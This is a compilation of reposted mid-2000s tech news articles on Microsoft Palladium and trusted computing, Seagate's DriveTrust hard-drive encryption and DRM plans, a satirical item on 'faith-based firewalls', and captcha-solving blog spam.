Both call for a new chip to be placed on the motherboard of all future computers. The chip would include new encryption functions as well as a small amount of memory that would act as a digital vault to store important keys to decrypt protected data. The TCPA refers to the chip as the "trusted platform module," a successor to Intel's processor ID--an idea the chipmaker abandoned in 1999 after a public outcry over privacy. Microsoft refers to the hardware component of Palladium as the "security support component."

Microsoft and the TCPA envision that operating-system makers will add code to take advantage of the new hardware features. The software side of Palladium is Microsoft's vision of where such features can lead: Called the nexus or nub--or, more formally, the "trusted operating root"--the core software will handle all access to the new security. Microsoft will release the code for its nexus so that security-concerned developers can vet the software for flaws.

Opponents criticize any process or technology controlled by a single company that may have ulterior motives--especially when that company is Microsoft. Eben Moglen, a noted Free Software Foundation attorney and professor of law at Columbia University, has argued that such proprietary initiatives could stunt the growth of open-source technologies like Linux, which is gathering strength as a challenger to the Windows operating system.

More empire-building?
Lucky Green warns that Palladium-like technologies could end up giving too much power to manufacturers of operating systems, such as Microsoft, at the expense of applications makers.

"Since operating systems that restrict data can determine which applications can run, it changes the software landscape into first-citizen applications that have access to the content and second-citizen applications that don't have access," he said. "That puts the software makers at the mercy of the hardware vendors."

Green suspects that Microsoft wants to use Palladium to enforce software licenses. He claims the day after attending the USENIX Security Conference, he contacted an attorney and filed two patents on ways that Palladium-like systems could be used for such enforcement. While Green won't discuss his intentions, many believe he is trying to preempt companies from using the technology for this purpose.

"The objective and capabilities are to secure the applications and data against the end user to the benefit of third parties," he said of trusted computing initiatives in general.

Proponents scoff at such notions as conspiracy theory. "I have seen no signs that Microsoft and Intel are out to screw the world; and if they do screw the world, I think Congress will stop them," said the University of Pennsylvania's Farber.

Nevertheless, all parties involved acknowledge the confounding complexity of the issue, and even Microsoft doesn't know where it will end up.

"We can speak to what we intend to have happen," said Mario Juarez, another product manager for Palladium, but "there are so many unanswered questions at this point."
http://news.com.com/2009-1001-964628.html





Seagate: The Hard Drive, Reconsidered
Scott M. Fulton

It is a frame of mind that not even the smartest security engineers, working the problem for decades, may have considered: We speak of viruses infecting the operating system. We hold the manufacturers (or, more often, the manufacturer) of the operating system partly responsible, even partly liable, for the damage that malicious programs cause to people's work and livelihood, as if the entire work paradigm for information technology exists in software.

What if we think of the problem from a reverse angle: Aren't hard disk drives the things that get infected? Decades ago, we used to quarantine floppy diskettes that were believed infected, when diskettes were the primary means for viruses to spread, prior to the ubiquitousness of the Internet.

Today's malicious programs enter systems via this network, exploiting vulnerabilities in operating systems in order to become active, but inevitably, they get stored. For viruses to remain effective, at some point in their life cycle, they must become "data at rest" - files residing undetected amid a forest of millions along the surface of a perpetually spinning ceramic platter.

What if we could attack them there? Moreover, what if the mechanism that puts them there in the first place could prevent them from getting there? Viewed in that light, suppose hard drive manufacturers were to recognize the problem as a threat to their livelihood, and proposed a feasible, workable solution which involved the operating system only to a minimal degree?

This is not only the story of a technology, but also of a company that security engineers would consider a "bit player" on the security stage, though which considers itself not only a "bit" player but a big player in IT: Seagate Technology. Seagate's proposed solution to the information integrity problem could fundamentally redefine computing in a way Windows Vista could only dream.

Pursued to its fullest extent (though I grant you, no sweeping concept in the history of IT ever has been pursued to its fullest extent), it could uproot the very business model through which computers are sold. The hard disk drive itself, promoted from a passive storage receptacle to the role of co-provider of the "root of trust," could actually end up costing consumers and businesses less - one critical reason being, they won't be the ones paying for all of it.

Under this model, security software as we have come to know it may become demoted to the third, or perhaps even fourth, "line of defense." So the blasphemy that has become the notion of disengaging antivirus utilities, could metamorphose into feasibility.
Before you think this is just some other pipe dream promulgated by press releases, and predicated by a plethora of "what-ifs," consider the following underappreciated fact: Next week, the hard drive manufacturers of the world, along with that certain operating system manufacturer and other interested parties, will assemble together to vote on how they will actually do this. Their milestones include dates as soon as next year. And there may be little, if any, opposition to this plan among them.

If there is any opposition to be had, if there is any dark lining to be detected amid the silver cloud of interoperable solutions, it may yet come from the consumer. For riding piggy-back on this plan that bears the promise of terminating the current era of malware, is a subsidy which few may instantly embrace: a kind of lease agreement, where quite literally, other companies may reserve segments of the hidden memory inside the hard drive, for use for their own purposes.

Some of these companies could be security providers. Others will likely be content providers. And if this article stopped here, you could still see where it was leading.

The Distrust Problem

If it weren't for George Orwell, the name "Trusted Computing Group" could very well be taken at face value, and the concepts it proposes might not be met by the general public with such instantaneous skepticism. Too much about computing and internetworking has trained its users to distrust, at least with their attitudes if not always in their actions.

While these users complain of the continued deficiencies and vulnerabilities of the software they use, often placing blame where it is generally due, almost with the same breath, they profess the notion that one of the hallmarks of Internet computing is that it upholds the user's right to anonymity.

Yet it is this anonymity -- this need for both users and their processes not to call themselves out for what they are -- that is at the root of the distrust problem. A multi-billion-dollar industry has sprouted forth from the need for some part of the computer to be able to explicitly track down and identify processes that don't properly or correctly identify themselves, in order to isolate malware and stop its spread. And week after week, at some point, all eyes turn to Microsoft to see if some newfound vulnerability will be adequately acknowledged, and if yet another fix is forthcoming.

The cycle has become so commonplace that it's almost comfortable. "Patch Tuesday" is becoming a part of information workers' monthly itineraries, almost like a regular staff lunch. Fewer people, as time goes on, foresee an end to this cycle. Microsoft's ability to continually produce patches rather than architectural remedies seems stretched to the limit, though users are now becoming resigned to the idea that this cycle is permanent.

"MS bringing up all these methods to crackdown on piracy makes me laugh," writes one BetaNews reader, in response to our recent story on Office activation. "They should realize that whatever method they implement, pirates will always crack it. If it's makable, it's crackable."

The picture many have in their minds of their network connections probably resembles Al Gore's metaphorical superhighway, whereupon security measures serve as merely larger and thicker blockades. It's just a matter of time, they conclude, before they succumb to the incoming barrage of artillery. Up goes another set of barricades, like a replenished wave of fortresses in "Space Invaders," and the countdown clock is merely reset.

The permanent solution to the security problem, if there is one, a panel of security experts concluded six years ago during a panel I chaired for COMDEX, lies with the fundamental re-architecture of the computer itself. That redesign, conceivably implemented over stages, would institute the principle of authentication, where both processes and users identify themselves and allow those identities to be confirmed.

The tools of that confirmation, through the wonder of cryptography, would be used to set up encrypted channels of communication between processes and devices that only the authenticated entities could make sense of. If they weren't who they said they were, all they'd see during the interaction would be garbage.

But identity -- as any alcohol abuser under the age of 21 knows -- can be falsified. It shouldn't really matter, then, if the identity of a process is established with 16 digits or 16 million; if one matches the pattern, he theoretically should be able to pass muster.

This is where the principle of trust enters the picture, and the word starts to lose its Orwellian ambiance. In an authentication system using certificates, the default state is distrust. For a process' or a user's identity claim to be verified, the presented certificate is checked against a third party. If that third party's authenticity can be challenged, then it passes on the claim to a more trustworthy party up the chain. This is the chain of trust that is the key component of new architectures for both hardware and software.

The reason a certificate authority (CA), responsible for validating an identity claim, might not be trusted is if it could be spoofed or hacked or otherwise compromised, so that it passes validity without a proper check. The way to avoid this problem without creating an infinite chain of distrust, is to plant the root of trust -- the CA that cannot be spoofed even theoretically -- in a location that is completely secure and impenetrable through the network.

Perhaps the only secure location in a computer system that is impenetrable from the network, is within a component that isn't even logically connected to the network. Most every PC has one. It is, from the network's vantage point, a sarcophagus; yet inside of it is a complete, self-contained computer system, independent of the CPU and the system bus, with its own processor, its own memory, and its own self-contained operating environment. Welcome inside the hard drive.

Relocating the Root of Trust

The principle of the Trusted Computer, as the Trusted Computing Group defines it, is actually in effect now. In fact, Intel is certifying the technology with which system builders can produce Trusted Platform Module (TPM)-equipped systems today, under its vPro logo. AMD's implementation of the TCG specification is called Secure Execution Mode (SEM), though it hasn't yet organized a promotional program around the idea.

Meanwhile, Microsoft's nearly notorious version, once code-named "Palladium," is now embodied in a kind of silver cloud of uncertainty called the Next-Generation Secure Computing Base (NGSCB). The state of that program is perhaps best exemplified by its official Microsoft home page, whose own title bar, you'll note, confuses NGSCB with another initiative entirely.

BetaNews spoke with Dr. Michael Willett, senior director of Seagate Research, at some length about Seagate's work with the TCG. About Intel's, AMD's, and Microsoft's implementations thus far, Dr. Willett noted, "All three share the concept that you have these enclaves of hardware that do sensitive computing. You connect to these sensitive enclaves inside an otherwise inherently insecure larger system. So you drop your sensitive computing down to a piece of hardware when the sensitive computing is needed, and then you interconnect these little enclaves, or islands of trust, for their own purposes, through secure messaging. Then they contribute back to the larger environment, because they all recognize that an open platform software environment is inherently insecure. It's where all your attacks are occurring. So it's in everyone's strategy to do this."

In other words, there are TPMs in a great many computers today, quite possibly in yours. A TPM's sole purpose is to sit alongside the CPU and make itself available, for the express purpose of validating cryptographic certificates, but not to be addressable or accessible to the network. With a TPM in place, hardware on the platform and software in the operating system rely upon each other's presence for authenticating each other's processes. The multiplicity of these so-called "trusted components" is one key to their reliability.

In a way, that's the problem: the TPM's proximity to the CPU. While there's no way to hack a TPM because it's not open to the network, one can (theoretically) hack a CPU to make it "believe" it's communicating with the TPM when it's not. So while you can trust the TPM, you can't necessarily trust the CPU to always behave as though it's trusting the TPM.

Dr. Willett is one of Seagate's principal liaisons to, and a leading authority within, the TCG Storage Workgroup. Its original mission was to establish a protocol for trusted communications between the computer platform and storage devices ("SDs," to use the TCG term). But that mission soon became somewhat broader, as it discovered after compiling a set of about 50 "use case scenarios" for TCG models that include SDs.

Seagate's implementation of the Trusted Platform, which includes its solution to the TPM placement problem, is called DriveTrust, and was formally unveiled last month.

"We looked at the environment of a storage device and a peripheral device in general," Dr. Willett told us. "What we found was that...a peripheral device typically is a more guarded, protected, and closed system, by its very nature, than a platform, like a laptop, PC, or server. [These platforms] are all designed as totally open platforms with software operating systems, lots of APIs for writing applications. That's the good part; the bad part about a platform is, all the APIs and all that openness - and, by the way, all that software - makes it very vulnerable to the whimsy and attack of viruses and all sorts of things. Sort of a push/pull situation."

"We have a contrary situation with the storage device, especially a hard drive," Dr. Willett continued. "The only injuries to a drive are [caused by] the read/write mechanism to the memory itself. There's no external access to the processing and the hidden memory inside the drive. All that is totally closed to the outside world. We have a couple hundred megs of hidden memory in the hard drive set aside that isn't even addressable from the platform, the outside world. So we take advantage of that hidden memory to do the function of the drive itself. And there's a full-blown computer in there too; we have ARM processors and very complicated processors that run the daily business of the drive."

It becomes very tempting to suggest that the hard drive's closed nature makes it the perfect location for a TPM chip - more so than on the motherboard. There's problems with that idea, though, one of whose culminations appears like Seagate's version of the Heisenberg Uncertainty Principle: By opening up the sarcophagus to add the TPM, you lose the virtue of its closed design.

As Dr. Willett remarked, "One reason we don't have a TPM chip in there is because the abstract properties of a TPM chip are immutability and a high degree of protection. On an open platform, we get [these virtues] from a piece of hardware, like a chip." Furthermore, a TPM is by design a passive device, initiating no functions on its own - if it did, its very addressability could lead to it being spoofed. Meanwhile, a storage device has a completely dependent relationship upon the platform. It must be addressable, otherwise it can't function.

So while you might think this would disqualify the hard drive from becoming a trusted component, the TCG Storage Workgroup came up with an altogether different proposal: "In a closed storage device like a hard drive, we can, in a sense, emulate, that same immutability and protection [using] just the innate properties of the drive itself."

What Dr. Willett is referring to is a trusted software stack that emulates the primary functions of a TPM in software, which is then run by the drive controller. "Once you're up and connected," he explained, "then it's a multi-component, trusted system. You want to then think of the storage device as providing kind of a general-purpose security environment. It's like a protected enclave in hardware. It sits behind a privileged set of commands called Trusted Send / Trusted Receive, that have been internationally standardized by SCSI and ATA."

What he means is, SCSI and ATA protocols have already been adapted to use internal drive commands that rely on the trusted software stack to certify the reliability of read and write operations - this isn't something that is going to happen in some projected, far-off future, it's happening now. What happens next is, these same commands will then be leveraged to enable TCG operations to take place inside the hard drive, completely secluded from both the system BIOS and the operating system, though performing the functions of a TPM chip.

"So if you're a banking application," Dr. Willett supposed, "and you want a digital signature performed in a highly protected environment, not just in software, you could invoke the signature function on the drives to do [that] for you. If you want to store a piece of medical information in a very privileged, normally non-addressable position in the drive, only accessible through Trusted Send/Receive, then you could store a credential in the privileged storage location in the drive. You could take advantage, in other words, of the whole security set of functions on the drive as an application. So what you're getting is more reliable, trustworthy, more closed, naturally virus-proof. Nothing else can get in the drive."

Next: Who benefits, and how soon?

The first big consumer benefit of a DriveTrust-enabled product will be the capability to encrypt its entire contents. "For years, there have been software embodiments of full-disk encryption," said Dr. Willett. "The encryption runs over on the platform in software, running against the [CPU] that's in the platform, typically, and the keys are stored somewhere in software. There are certain inherent vulnerabilities to that. We put the hardware on the drive doing the encryption, we put the key on the drive in a derived-key format in hidden memory, that's never even in the clear, so you get a lot higher protection when this function's over on the drive. So you're going to see a lot of the security function migrating from a sort of higher-risk, lower protection of the operating system, over to some of these hardware enclaves like storage devices, as it becomes widely available."

Dr. Willett explained how that will work: At the factory, a randomly-generated encryption key will be generated, though that process is kept hidden from even the factory machinery. After the drive is purchased, the new owner then initiates the drive by creating a series of master passwords for it. Those master passwords are then mathematically combined with the original encryption key to create a derived key.

The original cryptographic key is then eliminated from the drive, and the derived key put in its place. The master passwords remain necessary to decouple the crypto key from the derived key. When the drive is shut down, the derived key is stored, but without the master passwords, that key is useless.

What happens when the drive gets transferred to another owner, we asked? A handoff process enables the original crypto key, once decoupled from the derived key, to be applied to a new set of passwords, thus creating a new derived key. This process has the added virtue of "cleaning" the drive's contents without having to reformat.

In the Trusted Computing scheme of things, the handoff process -- where the drive changes ownership -- is a critical moment. When any component with an installed TPM is shipped to a customer, it has to be "activated," in a process Dr. Willett describes as very similar to activating a Microsoft software product. He does elevate its importance, though, by describing it as a "handoff ceremony," where the user takes possession of the drive by keying in a security IT number provided to it by the manufacturer - in this case, by Seagate. By signing off on the drive, he said, "it's like an evidentiary chain like on one of these cop shows...so that you don't have any perturbation in the evidence."

What this means is, as hardware starts to take on some of the functions of software, it will end up being activated like software.

Once that handoff takes place, however, a system is initiated whereby the hard drive is not only capable of encrypting everything it writes and decrypting what it reads, but also using cryptographic key functionality to validate that every stream of data it is directed to write has been authorized by a Trusted Application, with the TCG applying the big, capital letters.

A TA in this regard is not, as some have suggested, a selected group of software that has earned - or otherwise acquired - the IT equivalent of the "Good Housekeeping Seal of Approval." It's simply an application that can prove its identity, or otherwise enable another trusted component to vouch for it. Conceivably, every genuine application -- even those that already exist -- could qualify.

One of Windows Vista's new and thus far underappreciated features is its extension of group policy to the local level, enabling even individual users in their home offices to administer Vista using tools the network admins use. With the group policy model in Vista being extensible, a TCG environment could enable the operating system to only run processes that pass the Trusted test for authenticity.

In such an environment, even Web-based scripts may have to prove their validity to the user directly before they can run. At that point, the most clever malware will have to resort to attempting false certification - a process that could conceivably work somewhere, at some time, maybe once.

The TCG Storage Workgroup's current Use Case Whitepaper, version 1.0, addresses this very point: "The TPM is a root of trust that extends to trusted applications running on the host which may then securely manage such resources in the internal SD computing environment. Since such host applications are written by the open community, it is essential that one application cannot affect SD resources that another application depends upon, except in predictable ways. Therefore the system of access controls may be divided among applications that may run on the host."

Yet immediately, the white paper goes on to make this understated point, whose significance is masked by the language's obscurity: "It is precisely this strong notion of SD-enforced host application rights that allows trust to be extended from the TPM-grounded host to the SD. A natural consequence of this is to provide greater opportunities in storage, such as permanent storage areas that are restricted to particular host applications, and exclusive control over the data-at-rest encryption capabilities of the SD." Ah, wrote Shakespeare so brilliantly, there's the rub.

The Beat of a Different DRM

Authentication by way of cryptographic certificates has been a feasibility since the early 1990s, and an actively explored concept for at least a decade prior. It could have enjoyed widespread implementation today, but due to what has generally been explained as a lack of public interest, it doesn't.

There has consistently been a high degree of skepticism among some of the most intelligent and most well-placed individuals in the IT community -- people you'd trust to cry "Fire!" only when there's a fire -- over how authentication would be implemented, and which organizations should be "trusted" with that responsibility.

Last year, I interviewed security expert and Counterpane CTO Bruce Schneier about Trusted Computing for another publication. He has a long-standing distrust of the TCG concept, not because of what he concedes are its noble objectives, but because of the parties that stand to benefit from certain little side benefits, such as "greater opportunities" for "permanent storage areas that are restricted to particular host applications."

While you may be thinking of Microsoft, people like Schneier are hearing instead the sound of a much more familiar fanfare.

"In their zeal to stamp out piracy," Schneier told me last year, "the media companies might actually stamp out computing. They don't want you to have computers; they want you to have Internet entertainment platforms. To the extent that you have a fully programmable computer, that's a danger, because you could do things that are unauthorized by whoever wants to start giving out authorization."

Seagate's Michael Willett has a completely different take. "If I elect that I want [content] that I'm not going to get otherwise, I'm not going to get it free unless I steal something," he told us. "If a content provider like a studio is willing to provide me, under some DRM scheme, content that I can view as a privilege...then they deserve to have certain protections against theft. So it's a tradeoff. But all the way through, the user has end control over that function. I can't crack the system. I didn't steal something...but if I don't want it to run on my system, I can delete it."

Nothing in the Trusted Computing platform lends itself to any particular digital rights management scheme. It would be foolish for TCG if it did, Dr. Willett told us, because it has documented at least 49 major schemes currently in active use, and there's no guarantee that any one of them will be the one that survives the shakeout.

But DriveTrust was designed to give DRM providers "building blocks" they would need to implement more trustworthy rights management schemes. One potential payoff from this, the benefits of which are indisputably worth considering, is that such building blocks could effectively relocate some of the most critical features of DRM away from the less trusted clutches of the operating system.

Another possibility, which Seagate is actively exploring, Dr. Willett told us, is the enablement of a more open DRM platform that could be leveraged not just by institutions and movie studios but by individuals. Under such a system, for example, independently made videos uploaded to sharing services such as YouTube could be encoded with DRM provisions -- perhaps under an open-source model -- that would protect their independent creators from being exploited by other services, or from having their work be distributed in any way other than what they intended.

Under such a system, independent artists could bypass movie studios altogether, Dr. Willett suggested, making their material available for sale through an active, independent, open market made feasible by the very technology that raises Bruce Schneier's red flags.

"What a lot of people reject is the business model of the future," Dr. Willett stated to BetaNews. "Right now, the music studios are lamenting the fact that the artists aren't getting their fair due, that people are stealing songs and there's revenues being lost, and the artists are getting the shaft. But the model of the future is the artist as content provider, the artist as publisher. There are a lot of amateurs now that are putting out movies free. With a little bit of DRM, content protection and a little charge-back system on top of that, the artist can become a publisher, because the distribution vehicle is so easy...That's the model that we'll largely move to."

To make this system feasible, Dr. Willett suggested, DriveTrust-enabled storage devices would need to include features where DRM providers -- along with security software providers, and producers of other classes of applications (I can think of one right now) -- literally lease parcels of real estate inside the protected memory of hard drives, the term of which is perpetual even after the drives are purchased.

"We have divided that memory into what are called secure partitions," Dr. Willett explained, "so it's like a couple of hundred security partitions, sitting across that hidden memory space. If an application on a laptop wants to use the security functions on the drive, the application is assigned one of those security partitions. Through that security partition, using Trusted Send/Receive and the credentials and the secrets that the application is given, it gets all that security function: crypto, storing of credentials, all that stuff that's on the drive. And then you can have multiple applications hooking into different security partitions."

It is here where the cryptography scheme transforms into a business model. Rather than consumers paying for premium features, those features instead literally become subsidized by the companies that would utilize them. As a result -- moreover, as incentive -- those features become ubiquitous.

One example of this business model in current practice concerns enterprise-level key management applications, which DriveTrust-enabled drives use today. "The full-drive encryption works for you right out of the box," Dr. Willett told us, "but if you want enterprise-level key management, which all the enterprises do, you buy this piece of software...and [it] pays us a few pennies every time somebody activates that application.

"The beauty of this is," Dr. Willett continued, "a year after I sell you that drive, those [used] ex-keys are laying there dormant, unused on the drive. And along comes an application that has an arrangement with Seagate, and has already licensed one of those secure partitions. When the end user buys that application, it invokes that added key under the covers, and the applications guy pays us a few pennies. So with this model, we've got an annuity built into the hard drive, because those security partitions can be activated by an application for years after the drive has been sold."

Dr. Willett compared this business model to that of the modern cell phone, where premium services to which users subscribe for less-than-break-even prices, are partly subsidized by service providers. His suggestion: If Trusted Computing is explored to its full extent, it could drive consumer and business costs for computer systems down.

"Seagate is pledged to put DriveTrust on every drive in our family in the future," he pronounced, "so you're going to see it everywhere, we hope. I'm just rooting for the day when we have it ubiquitous."

By "ubiquitous," he means far beyond the boundaries of Seagate alone: "In the face-to-face storage meetings that we're having hot-and-heavy every week...we have every major hard drive manufacturer [who] has sent their best and brightest design engineers to the standard. We just bought Maxtor, [and] we have Western Digital, Fujitsu, Hitachi, Samsung, and we have two or three flash drive storage people, and then we've got the tape drive people...Microsoft's on the board with us, as is AMD and Intel. They all are promoting strategically this idea that you put in hardware, ultimately, the sensitive functionalities, and then you call into it for sensitive computation. And then you have the rest of the operating system do its thing."

"There's always a need for an operating system, but I think you're going to see more of the sensitive functions moved to hardware," Seagate's Willett concluded. "That's what we trust: We trust hardware."

It could be a dramatically different personal computer environment over the next five years, than we're accustomed to today. Software services and content providers, conceivably, could partly subsidize the distribution of computers, whose growth rate as an industry has been acknowledged to be slowing down, and whose business model could very well be overdue for an upgrade.

While the success of this concept is uncertain, what we do know is that it will be attempted, on a major scale. It could uproot the very underpinnings of the computer security industry, as the definition of "virus" will change as certification and signing become more prevalent, and authentication of all processes and streams more commonplace.

What would prevent such a system from coming into full fruition is distrust - not of the individuals responsible for malware, but of the institutions interested in leasing space in the new scheme, some with the intention of combating that malware. It's almost impossible not to imagine DriveTrust doling out secure partitions like property titles in a game of Monopoly. It's the negative connotations that DRM carries with it, the track record of privacy violation and integrity compromises, that prevents people from accepting it as the potential foundation for a legitimate business model.

It is the perfect irony: The potential for widespread exploitation could dissuade people from adopting a system that could effectively correct and make right what has already proven to be the most easily and broadly exploited technology in human history. The questions we must ask ourselves, if we are serious about our role as information professionals, are these: First, are we willing to make the tradeoff? And next, if the answer is no, are we prepared to comfort ourselves with the consequences of our choice for the remainder of our careers?
http://www.betanews.com/article/seag...red/1164238838





Bush Proposes Faith-Based Firewalls for Government Computers
Brian Briggs

President Bush announced that by 2008 all government computers should be protected from outside attacks by the faith-based firewall called Protection From Above (PFA) from Houston-based software developer Christisoft.

"For too long we have turned to proven software companies with expertise in computer security for protection, now our computers will be protected by the power of prayer at a much lower cost to taxpayers," said Bush.

Estimates show the US government spent $1.2 billion dollars to secure their computer systems at various agencies, which many Republicans think is an indulgence the government can't afford.

"With the faith-based firewall and other faith-based security software from Christisoft we could save billions over the next ten years. That's money that can be returned to the most generous of taxpayers," said the President.

Bush also cited doubts about the efficacy "of science-based computer security" though he didn't use that word exactly.

The software requires no installation or maintenance fees, but only a onetime registration fee for unlimited computers.

Joel Osgood, founder of Christisoft, said, "With the one time registration fee, a company's entire network of computers joins our network of computer security prayer specialists. The power of prayer can heal the soul and can also protect you from nasty denial of service attacks and viruses."

Specialists in IT departments at various government agencies said they weren't contacted by the White House for any feedback on the system and they believe the President's decision would be "disastrous" for computer security.

Osgood refuted critics who said prayer can't protect from cyberattacks by saying, "Computers are extremely complicated devices that mere humans couldn't dream of understanding. It takes the power of God to do that."

Any security breaches in the PFA software are countered by a double-prayer guarantee.

Osgood said Christisoft's customer list includes a Fortune 500 company currently being delisted from the New York Stock Exchange.
http://bbspot.com/News/2005/11/faith...firewalls.html





The Price of Humans Who'll Spam Blogs is Falling to Zero
Charles Arthur

The other day, while administering the Free Our Data blog (freeourdata.org.uk/blog if you haven't stopped by yet), I came across an unusual piece of comment spam - a remark left on one of the blog posts. It was advertising a site offering share tips. No surprise there: "pump and dump" spam, as we've pointed out, has become a principal form of email spam, and spammers seem to have found that people are searching for share advice online (a worrying enough thought on its own).

The surprise was that despite the automated defences to prevent such junk being posted by a machine, it had got through. The junk filter stops hundreds of such attempted spams daily without a murmur; so far it's stopped 10,000 spams while allowing 377 human comments. So why had this got through? The electronic trail explained: the "captcha" (Completely Automated Public Turing test to tell Computers and Humans Apart) had been filled in.

The captcha is the junk filter's last resort. Because it's easy and cheap to program machines to post any sort of junk on blogs, a captcha (which puts numbers or letters in an image, which a machine in theory can't read) shows whether you've got a real live person giving their thoughts, or just a dumb machine trying to up some spammer's search-engine ranking.

If the captcha was filled in, it must have been done by a person; if it had been done by a machine, the spammers would have cracked the problem of solving captchas and would be busily spamming every blog they could find.

So who had done this? The junk filter had recorded their IP (internet) address. It resolved to somewhere in India. Which rang a bell: earlier this year, I spoke with someone who does blog spamming for a living - a very comfortable living, he claimed. But he said that the one thing that did give him pause was the possibility that rival blog spammers might start paying people in developing countries to fill in captchas: they could always use a bit of western cash, would have the spare time and, increasingly, cheap internet connections to be able to do such tedious (but paid) work.

A few days later I read a stunning report by George Packer in the New Yorker magazine - regrettably, it's not online - about the sprawling mega- city of Lagos in Nigeria. It's the world's sixth largest city, and growing fast; the concept of urban planning has collapsed and life is eked out from the margins of existence. Corruption isn't an occasional hazard; it underpins a near-feudal society. While there, Packer was approached by one of his guides, who offered him the promise of riches looted from a despot; the classic Nigerian scam.

Packer declined politely, attaching no blame to his would-be scammer: "He would have been regarded locally as a fool if he hadn't tried to exploit [me]," he noted without rancour. Elsewhere this week, deliveries began of the hand-powered laptop, Nicholas Negroponte's computing gift to the developing world.

I've no doubt it will radically alter the life of many in the developing world for the better. I also expect that once a few have got into the hands of people aching to make a dollar, with time on their hands and an internet connection provided one way or another, we'll see a significant rise in captcha-solved spam. But, as my spammer contact pointed out, it's nothing personal. You have to understand: it's just business.

• In January I suggested that "spam has passed its peak". Oh well. I guess I'll have to sit in the corner with Bill Gates, who declared in January 2004 that "spam will be solved in two years". After you with the pointy-D hat, Bill.
http://technology.guardian.co.uk/wee...954160,00.html


















Until next week,

- js.



















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